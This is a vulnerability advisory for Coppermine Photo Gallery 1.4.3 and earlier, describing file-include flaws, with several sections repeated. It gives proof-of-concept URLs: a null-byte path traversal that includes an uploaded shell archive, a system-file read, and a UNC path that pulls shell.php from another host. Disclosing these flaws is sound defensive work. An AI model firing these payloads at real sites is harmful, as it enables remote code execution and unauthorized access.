Coppermine Multiple File Include Vulnerabilities
BID:16718
Info
Coppermine Multiple File Include Vulnerabilities
| Bugtraq ID: | 16718 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 18 2006 12:00AM |
| Updated: | Feb 21 2006 05:07PM |
| Credit: | Discovered by rgod <[email protected]>. |
| Vulnerable: |
Coppermine Photo Gallery 1.4.3 Coppermine Coppermine Photo Gallery 1.3.2 Coppermine Coppermine Photo Gallery 1.3.1 Coppermine Coppermine Photo Gallery 1.3 Coppermine Coppermine Photo Gallery 1.2.1 Coppermine Coppermine Photo Gallery 1.2 Coppermine Coppermine Photo Gallery 1.1 Coppermine Coppermine Photo Gallery 1.0 |
| Not Vulnerable: | |
Discussion
Coppermine Multiple File Include Vulnerabilities
Coppermine is affected by multiple local and remote file-include vulnerabilities.
An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer or a remote location with the privileges of the webserver process. This may potentially facilitate unauthorized access.
Coppermine 1.4.3 and prior versions are affected.
Coppermine is affected by multiple local and remote file-include vulnerabilities.
An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer or a remote location with the privileges of the webserver process. This may potentially facilitate unauthorized access.
Coppermine 1.4.3 and prior versions are affected.
Exploit / POC
Coppermine Multiple File Include Vulnerabilities
An exploit is not required.
Proof of concept examples are available:
http://www.example.com/[path]/thumbnails.php?lang=../albums/userpics/10002/shell.zip%00
http://www.example.com/[path]/docs/showdoc.php?f=c:\\boot.ini
http://www.example.com/[path]/docs/showdoc.php?f=\\\\192.168.1.2\\c\\shell.php
An exploit is not required.
Proof of concept examples are available:
http://www.example.com/[path]/thumbnails.php?lang=../albums/userpics/10002/shell.zip%00
http://www.example.com/[path]/docs/showdoc.php?f=c:\\boot.ini
http://www.example.com/[path]/docs/showdoc.php?f=\\\\192.168.1.2\\c\\shell.php
Solution / Fix
Coppermine Multiple File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
Coppermine Multiple File Include Vulnerabilities
References:
References:
- Coppermine Photo Gallery Homepage (Coppermine Photo Gallery)
- Coppermine Photo Gallery <=1.4.3 remote code execution ([email protected])